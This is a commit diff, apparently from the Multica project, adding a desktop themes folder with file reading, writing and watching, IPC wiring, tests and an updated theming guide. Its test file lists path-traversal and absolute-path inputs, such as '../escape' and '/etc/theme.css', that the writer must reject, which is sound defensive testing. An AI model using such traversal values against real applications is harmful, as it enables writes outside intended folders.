Skip to content

Shared task board where people and AI coding agents work as teammates. Source-available, self-hostable.

Go

MUL-8944: community themes 1/3 — make and import your own theme (beta) (#10287)

Jiayuan Zhang848d71ad7465
diff --git a/.github/actions/frontend-quality/action.yml b/.github/actions/frontend-quality/action.yml
index db79eb5639..452b5313fb 100644
--- a/.github/actions/frontend-quality/action.yml
+++ b/.github/actions/frontend-quality/action.yml
@@ -21,6 +21,11 @@ runs:
node --test scripts/check-dependency-catalog.test.mjs
node scripts/check-dependency-catalog.mjs
+ - name: Check the theme validator CLI
+ shell: bash
+ run: |
+ node --test scripts/theme-check.test.mjs
+
# Keep existing knip findings advisory in either caller.
- name: Check for dead code and phantom dependencies (knip)
continue-on-error: true
diff --git a/AGENTS.md b/AGENTS.md
index 13c74963dc..e37fd1a5f5 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -13,7 +13,7 @@ Multica is a task management platform where people and agents collaborate on iss
| Location | Responsibility and constraints |
| --- | --- |
| `server/` | Go backend; Chi, sqlc, WebSocket |
-| `packages/core/` | Headless logic, API client, Query hooks, shared Zustand stores. No UI libraries, `react-dom`, `next/*`, or `process.env`. Client persistence goes through `StorageAdapter`; only the default adapter (`platform/storage.ts`) and tab-scoped exception dedupe (`analytics/exception-dedupe.ts`) touch Web Storage. Cookies are only for values the server or Next.js proxy reads. Lint enforces the import, `process.env`, and Web Storage rules outside tests (`packages/core/eslint.config.mjs`). |
+| `packages/core/` | Headless logic, API client, Query hooks, shared Zustand stores. No UI libraries, `react-dom`, `next/*`, or `process.env`. Client persistence goes through `StorageAdapter`; only the default adapter (`platform/storage.ts`) and two tab-scoped `sessionStorage` uses, exception dedupe (`analytics/exception-dedupe.ts`) and theme safe mode (`appearance/safe-mode.ts`), touch Web Storage. Cookies are only for values the server or Next.js proxy reads. Lint enforces the import, `process.env`, and Web Storage rules outside tests (`packages/core/eslint.config.mjs`). |
| `packages/ui/` | UI primitives and shared styles. No business logic or `@multica/core` imports. |
| `packages/views/` | Shared web/desktop pages and business components. No store definitions, `next/*`, or `react-router-dom`; use `NavigationAdapter`, `useNavigation()`, and `<AppLink>`. Lint enforces the store rule outside tests (`packages/views/eslint.config.mjs`). |
| `apps/web/` | Next.js routes/layouts and web-only UI. Framework APIs stay here; shared navigation adapters live in `apps/web/platform/`. |
diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts
index 3382ffd838..d9c049831f 100644
--- a/apps/desktop/src/main/index.ts
+++ b/apps/desktop/src/main/index.ts
@@ -20,6 +20,7 @@ import {
setupDaemonManager,
} from "./daemon-manager";
import { setupLocalDirectory } from "./local-directory";
+import { setupThemeFolder } from "./theme-folder";
import { configureLinuxFileDialogs } from "./linux-file-dialog";
import { openExternalSafely, downloadURLSafely } from "./external-url";
import { installContextMenu } from "./context-menu";
@@ -1075,6 +1076,7 @@ if (!gotTheLock) {
() => mainWindows.all(),
);
setupLocalDirectory(() => mainWindows.mostRecent());
+ setupThemeFolder();
// Registered after the updater and daemon gates, so a quit they hold
// (busy daemon, pending install) leaves the session writable; only the
diff --git a/apps/desktop/src/main/theme-folder.test.ts b/apps/desktop/src/main/theme-folder.test.ts
new file mode 100644
index 0000000000..59d5a9fe3b
--- /dev/null
+++ b/apps/desktop/src/main/theme-folder.test.ts
@@ -0,0 +1,122 @@
+// @vitest-environment node
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "fs";
+import { tmpdir } from "os";
+import { join } from "path";
+import { readThemeFolder, watchThemeFolder, writeThemeFolder } from "./theme-folder";
+
+vi.mock("electron", () => ({
+ app: { getPath: vi.fn(), on: vi.fn() },
+ BrowserWindow: { getAllWindows: vi.fn(() => []) },
+ ipcMain: { handle: vi.fn() },
+ shell: { openPath: vi.fn() },
+}));
+
+let root: string;
+let outside: string;
+const text = (data: Uint8Array) => new TextDecoder().decode(data);
+const bytes = (value: string) => new TextEncoder().encode(value);
+
+function theme(dir: string, css = ".theme-light { --radius: 0; }") {
+ mkdirSync(join(dir, "fonts"), { recursive: true });
+ writeFileSync(join(dir, "manifest.json"), '{"apiVersion":1,"id":"paper","name":"Paper"}');
+ writeFileSync(join(dir, "theme.css"), css);
+ writeFileSync(join(dir, "fonts", "a.woff2"), "wOF2");
+}
+
+beforeEach(() => {
+ root = mkdtempSync(join(tmpdir(), "themes-"));
+ outside = mkdtempSync(join(tmpdir(), "theme-repo-"));
+});
+afterEach(() => {
+ rmSync(root, { recursive: true, force: true });
+ rmSync(outside, { recursive: true, force: true });
+});
+
+describe("readThemeFolder", () => {
+ it("reads theme folders, linked folders and zips, and only the files a theme can use", async () => {
+ theme(join(root, "paper"));
+ mkdirSync(join(root, "paper", ".git"));
+ writeFileSync(join(root, "paper", ".git", "HEAD"), "ref");
+ writeFileSync(join(root, "paper", "notes.txt"), "not a theme file");
+ theme(outside);
+ symlinkSync(outside, join(root, "linked"));
+ writeFileSync(join(root, "ink.zip"), "PK");
+ writeFileSync(join(root, "README.md"), "ignored");
+
+ const snapshot = await readThemeFolder(root);
+ expect(snapshot.path).toBe(root);
+ expect(snapshot.entries.map((e) => [e.folder, e.files?.map((f) => f.path).sort()])).toEqual([
+ ["ink.zip", ["ink.zip"]],
+ ["linked", ["fonts/a.woff2", "manifest.json", "theme.css"]],
+ ["paper", ["fonts/a.woff2", "manifest.json", "theme.css"]],
+ ]);
+ expect(text(snapshot.entries[2]!.files!.find((f) => f.path === "theme.css")!.data)).toContain("--radius");
+ });
+
+ it("creates the folder and reports a theme that is too large", async () => {
+ const fresh = join(root, "nested", "themes");
+ expect(await readThemeFolder(fresh)).toEqual({ path: fresh, entries: [] });
+ theme(join(root, "huge"), `/* ${"x".repeat(1024 * 1024)} */`);
+ const snapshot = await readThemeFolder(root);
+ expect(snapshot.entries.find((e) => e.folder === "huge")).toEqual({
+ folder: "huge",
+ error: expect.stringMatching(/at most 1024 KB/),
+ });
+ });
+});
+
+describe("writeThemeFolder", () => {
+ const files = [
+ { path: "manifest.json", data: bytes("{}") },
+ { path: "theme.css", data: bytes("a {}") },
+ { path: "fonts/a.woff2", data: bytes("wOF2") },
+ ];
+
+ it("writes a new folder and never replaces one", async () => {
+ expect(await writeThemeFolder(root, "pop-copy", files)).toEqual({ ok: true });
+ expect(readFileSync(join(root, "pop-copy", "fonts", "a.woff2"), "utf8")).toBe("wOF2");
+ expect(await writeThemeFolder(root, "pop-copy", files)).toEqual({ ok: false, reason: "exists" });
+ });
+
+ it.each([
+ ["a folder name outside the id rules", "../escape", files],
+ ["a path that leaves the folder", "x", [{ path: "../x.css", data: bytes("") }]],
+ ["an absolute path", "x", [{ path: "/etc/theme.css", data: bytes("") }]],
+ ["a file a theme cannot use", "x", [{ path: "run.sh", data: bytes("") }]],
+ ["data that is not bytes", "x", [{ path: "theme.css", data: "a {}" }]],
+ ["no files", "x", []],
+ ])("refuses %s", async (_case, name, list) => {
+ expect(await writeThemeFolder(root, name, list)).toEqual({ ok: false, reason: "invalid" });
+ });
+});
+
+describe("watchThemeFolder", () => {
+ const changed = (onChange: () => void) =>
+ new Promise<number>((resolve) => {
+ const started = Date.now();
+ const stop = watchThemeFolder(root, () => {
+ stop();
+ onChange();
+ resolve(Date.now() - started);
+ });
+ });
+
+ it("reports an edit inside a theme, also through a symlink, within a second", async () => {
+ theme(outside);
+ symlinkSync(outside, join(root, "linked"));
+ const onChange = vi.fn();
+ const settled = changed(onChange);
+ await new Promise((r) => setTimeout(r, 200));
+ writeFileSync(join(outside, "theme.css"), ".theme-light { --radius: 4px; }");
+ expect(await settled).toBeLessThan(1000);
+ expect(onChange).toHaveBeenCalledTimes(1);
+ });
+
+ it("reports a theme added to the folder", async () => {
+ const settled = changed(() => {});
+ await new Promise((r) => setTimeout(r, 200));
+ theme(join(root, "paper"));
+ expect(await settled).toBeLessThan(1000);
+ });
+});
diff --git a/apps/desktop/src/main/theme-folder.ts b/apps/desktop/src/main/theme-folder.ts
new file mode 100644
index 0000000000..6b4fa0d90d
--- /dev/null
+++ b/apps/desktop/src/main/theme-folder.ts
@@ -0,0 +1,216 @@
+import { app, BrowserWindow, ipcMain, shell } from "electron";
+import { watch, type FSWatcher } from "fs";
+import { mkdir, readdir, readFile, realpath, stat, writeFile } from "fs/promises";
+import { dirname, join, relative, sep } from "path";
+import {
+ THEME_FOLDER_CHANGED_CHANNEL,
+ THEME_FOLDER_NAME,
+ THEME_FOLDER_OPEN_CHANNEL,
+ THEME_FOLDER_READ_CHANNEL,
+ THEME_FOLDER_WRITE_CHANNEL,
+ type ThemeFolderEntrySnapshot,
+ type ThemeFolderFile,
+ type ThemeFolderSnapshot,
+ type ThemeFolderWriteResult,
+} from "../shared/theme-folder";
+
+/** Matches THEME_PACKAGE_MAX_BYTES in @multica/core/appearance. */
+const MAX_THEME_BYTES = 1024 * 1024;
+const MAX_ENTRIES = 20;
+const MAX_FILES = 64;
+const MAX_DEPTH = 4;
+const DEBOUNCE_MS = 150;
+/** Only what a theme can use; anything else in the folder is never read. */
+const THEME_FILE = /(^|\/)(manifest\.json|theme\.css)$|\.(woff2?|ttf|otf|png|jpe?g|webp|gif|avif|svg)$/i;
+const SKIPPED = new Set(["node_modules", "__MACOSX"]);
+
+class TooLarge extends Error {}
+
+export function themeFolderPath(): string {
+ return join(app.getPath("userData"), "themes");
+}
+
+async function readFolder(root: string): Promise<ThemeFolderFile[]> {
+ const files: ThemeFolderFile[] = [];
+ let total = 0;
+ const walk = async (dir: string, depth: number) => {
+ for (const entry of await readdir(dir, { withFileTypes: true })) {
+ if (entry.name.startsWith(".") || SKIPPED.has(entry.name)) continue;
+ const path = join(dir, entry.name);
+ const isDir = entry.isDirectory() || (entry.isSymbolicLink() && (await stat(path)).isDirectory());
+ if (isDir) {
+ if (depth < MAX_DEPTH) await walk(path, depth + 1);
+ continue;
+ }
+ const rel = relative(root, path).split(sep).join("/");
+ if (!THEME_FILE.test(rel)) continue;
+ total += (await stat(path)).size;
+ if (total > MAX_THEME_BYTES || files.length >= MAX_FILES) throw new TooLarge();
+ files.push({ path: rel, data: new Uint8Array(await readFile(path)) });
+ }
+ };
+ await walk(root, 0);
+ return files;
+}
+
+async function readEntry(root: string, name: string): Promise<ThemeFolderEntrySnapshot | null> {
+ const path = join(root, name);
+ try {
+ const info = await stat(path);
+ if (info.isDirectory()) return { folder: name, files: await readFolder(path) };
+ if (!/\.zip$/i.test(name)) return null;
+ if (info.size > MAX_THEME_BYTES) throw new TooLarge();
+ return { folder: name, files: [{ path: name, data: new Uint8Array(await readFile(path)) }] };
+ } catch (err) {
+ if (err instanceof TooLarge) {
+ return { folder: name, error: `A theme can be at most ${MAX_THEME_BYTES / 1024} KB and ${MAX_FILES} files` };
+ }
+ return { folder: name, error: err instanceof Error ? err.message : String(err) };
+ }
+}
+
+/** Every theme in the folder, as raw files for the renderer to check. */
+export async function readThemeFolder(root: string): Promise<ThemeFolderSnapshot> {
+ await mkdir(root, { recursive: true });
+ const names = (await readdir(root))
+ .filter((name) => !name.startsWith(".") && !SKIPPED.has(name))
+ .sort()
+ .slice(0, MAX_ENTRIES);
+ const entries = await Promise.all(names.map((name) => readEntry(root, name)));
+ return { path: root, entries: entries.filter((entry) => entry !== null) };
+}
+
+function isThemeFile(value: unknown): value is ThemeFolderFile {
+ if (!value || typeof value !== "object") return false;
+ const { path, data } = value as Partial<ThemeFolderFile>;
+ return (
+ typeof path === "string" &&
+ data instanceof Uint8Array &&
+ THEME_FILE.test(path) &&
+ !path.includes("\\") &&
+ !path.includes(":") &&
+ path.split("/").every((part) => part !== "" && part !== "." && part !== "..")
+ );
+}
+
+/** Writes a new theme folder; never replaces an existing one. */
+export async function writeThemeFolder(
+ root: string,
+ name: unknown,
+ files: unknown,
+): Promise<ThemeFolderWriteResult> {
+ if (
+ typeof name !== "string" ||
+ !THEME_FOLDER_NAME.test(name) ||
+ !Array.isArray(files) ||
+ files.length === 0 ||
+ files.length > MAX_FILES ||
+ !files.every(isThemeFile) ||
+ files.reduce((sum, file) => sum + file.data.length, 0) > MAX_THEME_BYTES
+ ) {
+ return { ok: false, reason: "invalid" };
+ }
+ const target = join(root, name);
+ try {
+ await mkdir(root, { recursive: true });
+ await mkdir(target);
+ } catch (err) {
+ if ((err as NodeJS.ErrnoException).code === "EEXIST") return { ok: false, reason: "exists" };
+ return { ok: false, reason: "error", error: err instanceof Error ? err.message : String(err) };
+ }
+ try {
+ for (const file of files) {
+ const path = join(target, ...file.path.split("/"));
+ await mkdir(dirname(path), { recursive: true });
+ await writeFile(path, file.data);
+ }
+ return { ok: true };
+ } catch (err) {
+ return { ok: false, reason: "error", error: err instanceof Error ? err.message : String(err) };
+ }
+}
+
+/**
+ * Watches the folder and each theme in it, following symlinks, so a theme
+ * kept in its own repository and linked in reloads too. Calls `onChange`
+ * once a burst of writes settles.
+ */
+export function watchThemeFolder(root: string, onChange: () => void): () => void {
+ let watchers: FSWatcher[] = [];
+ let timer: ReturnType<typeof setTimeout> | undefined;
+ let closed = false;
+
+ const add = (path: string, recursive: boolean) => {
+ try {
+ const watcher = watch(path, { recursive }, schedule);
+ watcher.on("error", () => watcher.close());
+ watchers.push(watcher);
+ } catch {
+ // Unwatchable (removed meanwhile, or out of watch handles): no live reload for it.
+ }
+ };
+
+ const rewatch = async () => {
+ const names = await readdir(root).catch(() => [] as string[]);
+ const targets = await Promise.all(
+ names
+ .filter((name) => !name.startsWith("."))
+ .slice(0, MAX_ENTRIES)
+ .map(async (name) => {
+ const path = join(root, name);
+ const info = await stat(path).catch(() => null);
+ return info?.isDirectory() ? realpath(path).catch(() => null) : null;
+ }),
+ );
+ if (closed) return;
+ for (const watcher of watchers) watcher.close();
+ watchers = [];
+ add(root, false);
+ for (const target of targets) if (target) add(target, true);
+ };
+
+ function schedule() {
+ clearTimeout(timer);
+ timer = setTimeout(() => {
+ void rewatch().then(() => {
+ if (!closed) onChange();
+ });
+ }, DEBOUNCE_MS);
+ }
+
+ void rewatch();
+ return () => {
+ closed = true;
+ clearTimeout(timer);
+ for (const watcher of watchers) watcher.close();
+ watchers = [];
+ };
+}
+
+export function setupThemeFolder(): void {
+ const root = themeFolderPath();
+ let stopWatching: (() => void) | undefined;
+
+ ipcMain.handle(THEME_FOLDER_READ_CHANNEL, async () => {
+ const snapshot = await readThemeFolder(root);
+ stopWatching ??= watchThemeFolder(root, () => {
+ for (const win of BrowserWindow.getAllWindows()) {
+ if (!win.isDestroyed()) win.webContents.send(THEME_FOLDER_CHANGED_CHANNEL);
+ }
+ });
+ return snapshot;
+ });
+
+ ipcMain.handle(THEME_FOLDER_OPEN_CHANNEL, async (_event, name?: unknown) => {
+ await mkdir(root, { recursive: true });
+ const sub = typeof name === "string" && THEME_FOLDER_NAME.test(name) ? join(root, name) : root;
+ const error = await shell.openPath(sub);
+ return error ? { ok: false, error } : { ok: true };
+ });
+
+ ipcMain.handle(THEME_FOLDER_WRITE_CHANNEL, (_event, name: unknown, files: unknown) =>
+ writeThemeFolder(root, name, files),
+ );
+
+ app.on("will-quit", () => stopWatching?.());
+}
diff --git a/apps/desktop/src/preload/index.d.ts b/apps/desktop/src/preload/index.d.ts
index 350a809643..b10b29e259 100644
--- a/apps/desktop/src/preload/index.d.ts
+++ b/apps/desktop/src/preload/index.d.ts
@@ -17,6 +17,11 @@ import type {
LocalRuntimeProbe,
} from "../shared/daemon-types";
import type { TabSelectionShortcutKey } from "../shared/main-renderer-messages";
+import type {
+ ThemeFolderFile,
+ ThemeFolderSnapshot,
+ ThemeFolderWriteResult,
+} from "../shared/theme-folder";
import type {
WorkspacePathOptions,
WorkspacePathRequest,
@@ -109,6 +114,14 @@ interface DesktopAPI {
* Drives the worktree execution-mode option in the resource UI. */
is_git_repo?: boolean;
}>;
+ /** Read every theme in the themes folder in user data, and start watching it. */
+ readThemeFolder: () => Promise<ThemeFolderSnapshot>;
+ /** Called once a change in the themes folder settles. Returns an unsubscribe function. */
+ onThemeFolderChange: (callback: () => void) => () => void;
+ /** Open the themes folder, or one theme's folder in it, in the file manager. */
+ openThemeFolder: (name?: string) => Promise<{ ok: boolean; error?: string }>;
+ /** Create a theme folder from files; never replaces an existing one. */
+ writeThemeFolder: (name: string, files: ThemeFolderFile[]) => Promise<ThemeFolderWriteResult>;
/** Listen for Cmd/Ctrl+W tab-close requests from the main process.
* Returns an unsubscribe function. */
onCloseActiveTab: (callback: () => void) => () => void;
diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts
index 3e91ad549b..e7aaf573a8 100644
--- a/apps/desktop/src/preload/index.ts
+++ b/apps/desktop/src/preload/index.ts
@@ -20,6 +20,15 @@ import {
type IssueWindowRequest,
} from "../shared/issue-window";
import { AUTH_SESSION_STATE_CHANNEL } from "../shared/auth-session";
+import {
+ THEME_FOLDER_CHANGED_CHANNEL,
+ THEME_FOLDER_OPEN_CHANNEL,
+ THEME_FOLDER_READ_CHANNEL,
+ THEME_FOLDER_WRITE_CHANNEL,
+ type ThemeFolderFile,
+ type ThemeFolderSnapshot,
+ type ThemeFolderWriteResult,
+} from "../shared/theme-folder";
import type {
DaemonStatus,
LocalRuntimeProbe,
@@ -223,6 +232,23 @@ const desktopAPI = {
/** Validate that a path is an existing readable+writable directory. */
validateLocalDirectory: (path: string) =>
ipcRenderer.invoke("local-directory:validate", path),
+ /** Read every theme in the themes folder, and start watching it. */
+ readThemeFolder: (): Promise<ThemeFolderSnapshot> =>
+ ipcRenderer.invoke(THEME_FOLDER_READ_CHANNEL),
+ /** Called once a change in the themes folder settles. Returns an unsubscribe fn. */
+ onThemeFolderChange: (callback: () => void) => {
+ const handler = () => callback();
+ ipcRenderer.on(THEME_FOLDER_CHANGED_CHANNEL, handler);
+ return () => {
+ ipcRenderer.removeListener(THEME_FOLDER_CHANGED_CHANNEL, handler);
+ };
+ },
+ /** Open the themes folder, or one theme's folder in it, in the file manager. */
+ openThemeFolder: (name?: string): Promise<{ ok: boolean; error?: string }> =>
+ ipcRenderer.invoke(THEME_FOLDER_OPEN_CHANNEL, name),
+ /** Create a theme folder from files; never replaces an existing one. */
+ writeThemeFolder: (name: string, files: ThemeFolderFile[]): Promise<ThemeFolderWriteResult> =>
+ ipcRenderer.invoke(THEME_FOLDER_WRITE_CHANNEL, name, files),
/** Listen for Cmd/Ctrl+W tab-close requests from the main process.
* The renderer should close the active tab; if it was the last tab,
* call `closeWindow()` to dismiss the window. Returns an unsubscribe fn. */
diff --git a/apps/desktop/src/shared/theme-folder.ts b/apps/desktop/src/shared/theme-folder.ts
new file mode 100644
index 0000000000..c6ec2158a3
--- /dev/null
+++ b/apps/desktop/src/shared/theme-folder.ts
@@ -0,0 +1,37 @@
+/**
+ * The themes folder in Desktop's user data: one theme per subfolder (or
+ * .zip), read by main and checked in the renderer by the same code as an
+ * import. Main watches it and tells every window when something changes.
+ */
+
+export const THEME_FOLDER_READ_CHANNEL = "theme-folder:read";
+export const THEME_FOLDER_CHANGED_CHANNEL = "theme-folder:changed";
+export const THEME_FOLDER_OPEN_CHANNEL = "theme-folder:open";
+export const THEME_FOLDER_WRITE_CHANNEL = "theme-folder:write";
+
+export interface ThemeFolderFile {
+ /** Relative to the theme's folder, with `/`. */
+ path: string;
+ data: Uint8Array;
+}
+
+export interface ThemeFolderEntrySnapshot {
+ /** The subfolder or .zip name. */
+ folder: string;
+ files?: ThemeFolderFile[];
+ /** Why the entry could not be read; the renderer shows it. */
+ error?: string;
+}
+
+export interface ThemeFolderSnapshot {
+ /** Absolute path of the themes folder, for display. */
+ path: string;
+ entries: ThemeFolderEntrySnapshot[];
+}
+
+export type ThemeFolderWriteResult =
+ | { ok: true }
+ | { ok: false; reason: "exists" | "invalid" | "error"; error?: string };
+
+/** A folder name main will create: the theme id rules. */
+export const THEME_FOLDER_NAME = /^[a-z0-9][a-z0-9-]{0,39}$/;
diff --git a/apps/docs/content/docs/developers/conventions.fr.mdx b/apps/docs/content/docs/developers/conventions.fr.mdx
index 1e032ddfc7..3f0aa7a06d 100644
--- a/apps/docs/content/docs/developers/conventions.fr.mdx
+++ b/apps/docs/content/docs/developers/conventions.fr.mdx
@@ -30,7 +30,7 @@ Le monorepo impose des frontières strictes entre les packages :
| Package | Peut dépendre de | Ne doit PAS dépendre de |
| --- | --- | --- |
-| `packages/core` | rien de spécifique à une application | `react-dom`, `next/*`, bibliothèques d'UI, `process.env`, `localStorage` en direct (persister via `StorageAdapter`) |
+| `packages/core` | rien de spécifique à une application | `react-dom`, `next/*`, bibliothèques d'UI, `process.env`, `localStorage` ou `sessionStorage` en direct (persister via `StorageAdapter` ; seuls `analytics/exception-dedupe.ts` et `appearance/safe-mode.ts` utilisent `sessionStorage`, limité à l'onglet) |
| `packages/ui` | rien | `@multica/core`, logique métier |
| `packages/views` | `core/`, `ui/` | `next/*`, `react-router-dom`, définitions de stores |
| `apps/web/platform/` | `next/*` | autres applications |
diff --git a/apps/docs/content/docs/developers/conventions.ja.mdx b/apps/docs/content/docs/developers/conventions.ja.mdx
index 63c7f5d103..e88cc1b936 100644
--- a/apps/docs/content/docs/developers/conventions.ja.mdx
+++ b/apps/docs/content/docs/developers/conventions.ja.mdx
@@ -30,7 +30,7 @@ Multica のコードを書く、翻訳を変更する、あるいは中国語の
| パッケージ | 依存可能 | 依存禁止 |
| --- | --- | --- |
-| `packages/core` | アプリ固有でないもののみ | `react-dom`, `next/*`, UI ライブラリ, `process.env`, `localStorage` の直接利用(永続化は `StorageAdapter` 経由) |
+| `packages/core` | アプリ固有でないもののみ | `react-dom`, `next/*`, UI ライブラリ, `process.env`, `localStorage`・`sessionStorage` の直接利用(永続化は `StorageAdapter` 経由。タブ単位の `sessionStorage` を使うのは `analytics/exception-dedupe.ts` と `appearance/safe-mode.ts` のみ) |
| `packages/ui` | なし | `@multica/core`, ビジネスロジック |
| `packages/views` | `core/`, `ui/` | `next/*`, `react-router-dom`, store の定義 |
| `apps/web/platform/` | `next/*` | 他のアプリ |
diff --git a/apps/docs/content/docs/developers/conventions.ko.mdx b/apps/docs/content/docs/developers/conventions.ko.mdx
index d3e6a3cb9b..512eafea92 100644
--- a/apps/docs/content/docs/developers/conventions.ko.mdx
+++ b/apps/docs/content/docs/developers/conventions.ko.mdx
@@ -30,7 +30,7 @@ Multica 코드를 작성하거나, 번역을 변경하거나, 중국어 제품
| 패키지 | 의존 가능 | 의존 금지 |
| --- | --- | --- |
-| `packages/core` | 앱 종속적이지 않은 것만 | `react-dom`, `next/*`, UI 라이브러리, `process.env`, `localStorage` 직접 사용(영속화는 `StorageAdapter` 경유) |
+| `packages/core` | 앱 종속적이지 않은 것만 | `react-dom`, `next/*`, UI 라이브러리, `process.env`, `localStorage`·`sessionStorage` 직접 사용(영속화는 `StorageAdapter` 경유. 탭 단위 `sessionStorage`는 `analytics/exception-dedupe.ts`와 `appearance/safe-mode.ts`만 사용) |
| `packages/ui` | 없음 | `@multica/core`, 비즈니스 로직 |
| `packages/views` | `core/`, `ui/` | `next/*`, `react-router-dom`, store 정의 |
| `apps/web/platform/` | `next/*` | 다른 앱 |
diff --git a/apps/docs/content/docs/developers/conventions.mdx b/apps/docs/content/docs/developers/conventions.mdx
index 5dbf0c50c5..2e460ed487 100644
--- a/apps/docs/content/docs/developers/conventions.mdx
+++ b/apps/docs/content/docs/developers/conventions.mdx
@@ -30,7 +30,7 @@ The monorepo enforces strict package boundaries:
| Package | May depend on | Must NOT depend on |
| --- | --- | --- |
-| `packages/core` | nothing app-specific | `react-dom`, `next/*`, UI libraries, `process.env`, direct `localStorage` (persist through `StorageAdapter`) |
+| `packages/core` | nothing app-specific | `react-dom`, `next/*`, UI libraries, `process.env`, direct `localStorage` or `sessionStorage` (persist through `StorageAdapter`; only `analytics/exception-dedupe.ts` and `appearance/safe-mode.ts` use tab-scoped `sessionStorage`) |
| `packages/ui` | nothing | `@multica/core`, business logic |
| `packages/views` | `core/`, `ui/` | `next/*`, `react-router-dom`, store definitions |
| `apps/web/platform/` | `next/*` | other apps |
diff --git a/apps/docs/content/docs/developers/conventions.zh-Hant.mdx b/apps/docs/content/docs/developers/conventions.zh-Hant.mdx
index 34f466cb08..91f1397b40 100644
--- a/apps/docs/content/docs/developers/conventions.zh-Hant.mdx
+++ b/apps/docs/content/docs/developers/conventions.zh-Hant.mdx
@@ -28,7 +28,7 @@ monorepo 的包邊界是硬約束:
| 包 | 可依賴 | 不能依賴 |
| --- | --- | --- |
-| `packages/core` | 僅平臺無關基礎庫 | `react-dom`、`next/*`、UI 庫、`process.env`、直接使用 `localStorage`(持久化走 `StorageAdapter`) |
+| `packages/core` | 僅平臺無關基礎庫 | `react-dom`、`next/*`、UI 庫、`process.env`、直接使用 `localStorage` 或 `sessionStorage`(持久化走 `StorageAdapter`;僅 `analytics/exception-dedupe.ts` 和 `appearance/safe-mode.ts` 使用分頁級的 `sessionStorage`) |
| `packages/ui` | 無業務依賴 | `@multica/core`、業務邏輯 |
| `packages/views` | `core/`、`ui/` | `next/*`、`react-router-dom`、store 定義 |
| `apps/web/platform/` | `next/*` | 其他 app |
diff --git a/apps/docs/content/docs/developers/conventions.zh.mdx b/apps/docs/content/docs/developers/conventions.zh.mdx
index dc65cb55a1..db8dbd7569 100644
--- a/apps/docs/content/docs/developers/conventions.zh.mdx
+++ b/apps/docs/content/docs/developers/conventions.zh.mdx
@@ -28,7 +28,7 @@ monorepo 的包边界是硬约束:
| 包 | 可依赖 | 不能依赖 |
| --- | --- | --- |
-| `packages/core` | 仅平台无关基础库 | `react-dom`、`next/*`、UI 库、`process.env`、直接使用 `localStorage`(持久化走 `StorageAdapter`) |
+| `packages/core` | 仅平台无关基础库 | `react-dom`、`next/*`、UI 库、`process.env`、直接使用 `localStorage` 或 `sessionStorage`(持久化走 `StorageAdapter`;仅 `analytics/exception-dedupe.ts` 和 `appearance/safe-mode.ts` 使用标签页级的 `sessionStorage`) |
| `packages/ui` | 无业务依赖 | `@multica/core`、业务逻辑 |
| `packages/views` | `core/`、`ui/` | `next/*`、`react-router-dom`、store 定义 |
| `apps/web/platform/` | `next/*` | 其他 app |
diff --git a/docs/theming.md b/docs/theming.md
index 3112a45618..51685ab649 100644
--- a/docs/theming.md
+++ b/docs/theming.md
@@ -1,52 +1,91 @@
# Theming Multica
-A Multica theme is a manifest and some CSS. The CSS overrides public
-variables for light and dark mode and can restyle the stable anchors listed
-below; the manifest names the theme and can declare options that appear
-under **Settings → Appearance → Theme options**. Themes never run
-JavaScript.
-
-Only the built-in themes exist for now: Default, Pop, GitHub, Blueprint and
-Notion, in `packages/core/appearance/built-in-themes.ts`. People cannot
-import their own. The variables, anchors and options below are what the
-built-in themes are written against, and what an imported theme would use
-if that comes later.
-
-## A built-in theme
-
-```ts
-const PAPER = builtInTheme({
- id: "paper",
- name: "Paper",
- author: "Someone",
- tokens: {
- light: { "page-canvas": "#f6efdf", "font-content-latin": "Georgia, Times New Roman", "h1-style": "italic" },
- dark: { "page-canvas": "#1d1b16" },
- },
- options: [
- { id: "hyphens", type: "toggle", label: "Hyphenate", default: true },
- ],
- css: ':root[data-theme-option-hyphens] [data-mc="content"] p { hyphens: auto; }',
-});
+A Multica theme is a folder with a `manifest.json` and a `theme.css`, plus any
+fonts and images the CSS uses. The CSS overrides public variables for light
+and dark mode and can restyle the stable anchors listed below; the manifest
+names the theme and can declare options that appear under **Settings →
+Appearance → Theme options**. Themes never run JavaScript.
+
+> **Beta.** The variables, anchors and manifest format below are a beta
+> API. They may change without notice until it is declared stable; check
+> this page when a theme stops looking right after an update.
+
+Install a theme with **Settings → Appearance → Import theme**, from a `.zip`
+of the folder or from the folder itself. Themes are saved on the device, like
+every other Appearance setting, and **Remove theme** deletes one and goes
+back to Default.
+
+The built-in themes compile to exactly this format and live in
+`packages/core/appearance/built-in-themes.ts`: Pop shows options and CSS,
+GitHub, Blueprint and Notion show fonts, content styling and anchor CSS.
+Duplicating one turns it into a folder you can edit; see
+[Writing a theme](#writing-a-theme).
+
+## The folder
+
+```text
+paper/
+├── manifest.json
+├── theme.css
+└── fonts/
+ └── serif.woff2
```
-Add it to `BUILT_IN_THEMES` to list it in Settings. `tokens` compile to
-`.theme-light { … }` and `.theme-dark { … }` rules, and `frame` (optional)
-to rules for the rail, the window toolbar and the tab bar. Written as
-tables, the tokens can be read by the contrast test
-(`apps/web/app/text-contrast.test.ts`), which checks every built-in palette
-against WCAG AA. `css` holds anything a token cannot express: selectors on
-anchors and option attributes.
+The folder can sit at the top of the `.zip` or be the zip's only folder.
+Files other than fonts (`woff2`, `woff`, `ttf`, `otf`) and images (`png`,
+`jpg`, `webp`, `gif`, `avif`, `svg`) are ignored. The whole theme can be at
+most 1 MB.
+
+### manifest.json
+
+```json
+{
+ "apiVersion": 1,
+ "id": "paper",
+ "name": "Paper",
+ "author": "Someone",
+ "version": "1.2.0",
+ "description": "Warm paper, serif reading text.",
+ "options": [
+ { "id": "page", "type": "heading", "label": "Page" },
+ { "id": "paper-color", "type": "color", "label": "Paper", "default": { "light": "#f6efdf", "dark": "#1d1b16" } },
+ { "id": "hyphens", "type": "toggle", "label": "Hyphenate", "default": true }
+ ]
+}
+```
| Field | Rules |
| --- | --- |
-| `id` | 1–40 characters of `a-z`, `0-9` and `-`, unique among the built-in themes. |
-| `name` | Shown in the theme picker. |
-| `author` | Optional; the design system the theme follows. |
-| `tokens` | Light and dark values for public variables, without `--`. |
-| `frame` | Optional light and dark values for the frame around the page. |
+| `apiVersion` | Must be `1`. |
+| `id` | 1–40 characters of `a-z`, `0-9` and `-`. Built-in ids (`default`, `pop`, `github`, `blueprint`, `notion`) are reserved. Importing a theme with an installed id replaces it. |
